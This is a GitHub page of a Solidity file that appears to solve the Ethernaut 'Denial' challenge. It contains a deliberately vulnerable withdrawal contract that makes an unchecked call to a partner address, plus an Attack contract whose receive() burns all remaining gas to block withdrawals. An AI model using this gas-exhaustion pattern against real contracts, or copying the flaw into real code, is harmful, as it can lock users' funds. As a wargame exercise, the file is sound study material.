-
Notifications
You must be signed in to change notification settings - Fork 0
/
21. Denial.sol
86 lines (54 loc) · 1.8 KB
/
21. Denial.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xd9145CCE52D386f254917e481eB44e9943F39138);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
function getEth () public payable {}
}
contract Attack {
uint256 public i;
function kek() public {
while (gasleft()>0){
i++;
}
}
receive() external payable {
kek();
}
}
contract Owner {
function withdraw(address _addr) public {
IDenial(payable(_addr)).withdraw();
}
function getEth () public payable {}
function contractBalance() public view returns (uint) {
return address(this).balance;
}
receive() external payable {}
fallback() external payable {}
}
interface IDenial {
function withdraw() external;
}